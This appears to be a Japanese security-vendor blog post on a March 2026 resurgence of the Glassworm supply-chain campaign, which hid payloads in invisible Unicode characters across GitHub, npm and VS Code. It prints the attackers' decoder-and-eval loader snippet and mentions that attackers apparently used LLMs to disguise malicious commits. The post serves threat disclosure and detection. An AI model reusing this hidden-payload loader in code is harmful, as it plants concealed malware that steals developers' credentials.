私たちが1年近く追跡してきた目に見えない脅威が、再び現れました。PolinRiderキャンペーンが数百ものGitHubリポジトリを侵害したとして話題を集める中、私たちはこれとは別に、GitHub、npm、およびVS Codeを標的としたGlasswormの新たな活動が活発化しているのを確認しています。
昨年10月、私たちは隠されたUnicode文字がGitHubのリポジトリを侵害するために悪用されている実態について報じ、その手口を「Glassworm」という名前の攻撃者にまで遡って追跡しました。今月、この同じ攻撃者が再び活動を開始しており、被害を受けたリポジトリの中には、WasmerやRewormのリポジトリ、そしてOpenCodeやSSTの開発元である組織anomalycoの「opencode-bench」など、著名なものが含まれています。
「見えないコード」キャンペーンの1年
- 2025年3月: Aikido PUAユニコード文字を使用してペイロードを隠蔽する悪意のあるnpmパッケージを初めて発見
- 2025年5月:見えないUnicodeのリスクと、サプライチェーン攻撃においてそれがどのように悪用される可能性があるかについて詳述したブログを公開します
- 2025年10月17日:同じ手法を用いて、OpenVSX上の改ざんされた拡張機能を特定した
- 2025年10月31日:攻撃者がGitHubのリポジトリを標的に切り替えたことが判明した
- 2026年3月:新たな大規模な攻撃が発生:数百のGitHubリポジトリが侵害され、npmやVS Codeも影響を受けた。
おさらい
この新たな波の規模について詳しく見る前に、まずこの攻撃の仕組みを振り返ってみましょう。数ヶ月にわたって報じられてきたにもかかわらず、開発者やツールを依然として不意を突いているのです。
この手口は、目に見えないUnicode文字を利用しています。これらは、事実上すべてのエディタ、ターミナル、コードレビューインターフェースにおいて何も表示されないコードスニペットです。攻撃者は、これらの目に見えない文字を使用して、一見空の文字列に見えるものの中にペイロードを直接エンコードします。JavaScriptランタイムがこれに出くわすと、小さなデコーダが実際のバイトデータを抽出し、それを eval().
これがインジェクションの実際の様子です。覚えておいてほしいのは、下の空のバッククォートに見られる隙間は、決して空っぽではないということです:
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));に渡しされたバッククォート文字列 s() どのビューアで見ても空っぽに見えますが、実際には目に見えない文字がぎっしりと詰め込まれており、解読されると完全な悪意のあるペイロードが生成されます。過去のインシデントでは、その解読されたペイロードが、Solanaを配信経路として利用して第2段階のスクリプトを取得・実行し、トークン、認証情報、シークレット盗み出すことが可能でした。
2026年3月の波の規模
脅威アクター「Glassworm」による大規模なキャンペーンが、オープンソースのリポジトリ全体に広がっていることが確認されています。GitHubでデコーダーパターンを検索すると、現在少なくとも151件の一致するリポジトリがヒットしますが、本稿執筆時点で多くの影響を受けたリポジトリがすでに削除されているため、この数字は実際の規模を過小評価していると考えられます。GitHubへの不正アクセスは、3月3日から3月9日の間に発生したものと見られます。

このキャンペーンはGitHubの枠を超えて拡大しています。現在、npmやVS Codeマーケットプレイスでも同様の手法が用いられていることが確認されており、Glasswormが複数のエコシステムを対象とした組織的な攻撃を展開していることを示唆しています。これは、同グループがレジストリ間を移動しながら活動するというこれまでの傾向と一致しています。
GitHub上で侵害された主なリポジトリ
特定したリポジトリの中には、スター数が多く、知名度の高いプロジェクトに属するものもいくつかあり、これらは下流のサプライチェーンに与える影響の観点から、特に重要な対象となっています:
AIを活用したカモフラージュ
10月の記事で指摘したように、悪意のあるコードの挿入は、一見して不審なコミットとして現れるわけではありません。その周辺の変更内容は現実的なものであり、ドキュメントの微調整、バージョンアップ、小規模なリファクタリング、そして各対象プロジェクトのスタイルに整合したバグ修正などが含まれています。
これほどまでにプロジェクトに特化したカスタマイズが行われていることから、攻撃者が大規模言語モデルを利用して、説得力のある偽装コミットを生成している可能性が高いと考えられます。現在確認されているような規模において、異なるコードベースにまたがる151件以上の特注コード変更を手作業で作成することは、現実的に不可能です。
検知と保護
目に見えない脅威には、能動的な防御が必要です。目に見えないものを検出するには、視覚的なコードレビューや標準的なリンティングだけに頼ることはできません。 Aikidoでは、目に見えないUnicodeインジェクションを検出する機能を、マルウェアスキャンパイプラインに直接組み込みました。
すでに Aikidoを使用している場合、これらのパッケージはフィード内で100/100の重大な問題としてフラグが立てられます。

いいえ Aikido ですか?無料アカウントを作成し、リポジトリをリンクしてください。無料プランにはマルウェア検出機能が含まれます(クレジットカード不要)。
最後に、サプライチェーンマルウェアが出現した瞬間にリアルタイムで阻止できるツールがあれば、深刻な感染を防ぐことができます。これがAikido Chain」のコンセプトです。この無料のオープンソースツールは、npm、npx、yarn、pnpm、pnpxをラップし、AIと人間のマルウェア研究者の両方を活用して、最新のサプライチェーンリスクが環境内に侵入する前に検知・ブロックします。
{{cta}}

